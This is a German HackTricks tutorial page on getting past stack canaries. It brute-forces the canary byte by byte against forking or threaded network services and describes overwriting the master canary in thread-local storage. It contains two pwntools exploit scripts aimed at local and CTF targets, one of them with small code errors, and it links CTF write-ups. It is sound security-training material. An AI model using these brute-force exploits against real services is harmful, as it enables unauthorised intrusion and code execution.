hacktricks/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

131 lines
6.7 KiB
Markdown
Raw Normal View History

# BF Forked & Threaded Stack Canaries
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
**Wenn Sie es mit einem durch einen Canary und PIE (Position Independent Executable) geschützten Binärprogramm zu tun haben, müssen Sie wahrscheinlich einen Weg finden, um sie zu umgehen.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Beachten Sie, dass **`checksec`** möglicherweise nicht feststellt, dass ein Binärprogramm durch einen Canary geschützt ist, wenn es statisch kompiliert wurde und nicht in der Lage ist, die Funktion zu identifizieren.\
Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert am Anfang eines Funktionsaufrufs im Stapel gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
{% endhint %}
## Bruteforce-Canary
Der beste Weg, einen einfachen Canary zu umgehen, besteht darin, wenn das Binärprogramm **bei jeder neuen Verbindung, die Sie damit herstellen, Kindprozesse erstellt** (Netzwerkdienst), da jedes Mal, wenn Sie sich damit verbinden, **dieselbe Canary verwendet wird**.
Dann ist der beste Weg, die Canary zu umgehen, einfach, sie **Zeichen für Zeichen zu brutzeln**, und Sie können herausfinden, ob das geratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **bruteforct** die Funktion **eine 8-Byte-Canary (x64)** und unterscheidet zwischen einem korrekt geratenen Byte und einem falschen Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (in **anderen Situationen** könnte eine Möglichkeit sein, ein **try/except** zu verwenden):
### Beispiel 1
Dieses Beispiel ist für 64-Bit implementiert, könnte aber leicht für 32-Bit implementiert werden.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Beispiel 2
Dies ist für 32-Bit implementiert, aber dies könnte leicht auf 64-Bit geändert werden.\
Beachten Sie auch, dass für dieses Beispiel das **Programm zuerst ein Byte erwartet, um die Größe der Eingabe** und des Payloads anzugeben.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads des gleichen Prozesses teilen sich auch **das gleiche Canary-Token**, daher ist es möglich, einen Canary durch **Brute-Force** zu ermitteln, wenn das Binär jedes Mal einen neuen Thread erstellt, wenn ein Angriff stattfindet.&#x20;
Darüber hinaus könnte ein Pufferüberlauf in einer Thread-Funktion, die mit einem Canary geschützt ist, verwendet werden, um den Master-Canary im TLS zu **modifizieren**. Dies liegt daran, dass es möglicherweise möglich ist, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und daher der Canary) über einen **Pufferüberlauf im Stack** eines Threads.\
Als Ergebnis ist die Schutzmaßnahme nutzlos, da die Überprüfung mit zwei identischen Canaries erfolgt (obwohl modifiziert).\
Dieser Angriff wird im Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Überprüfen Sie auch die Präsentation von [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015), die erwähnt, dass normalerweise das **TLS** durch **`mmap`** gespeichert wird und wenn ein **Stack** eines **Threads** erstellt wird, wird er auch durch `mmap` generiert, was den Überlauf ermöglichen könnte, wie im vorherigen Writeup gezeigt.
## Andere Beispiele & Referenzen
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 Bit, kein PIE, nx, BF-Canary, schreiben Sie in einen Speicher einen ROP, um `execve` aufzurufen und springen Sie dorthin.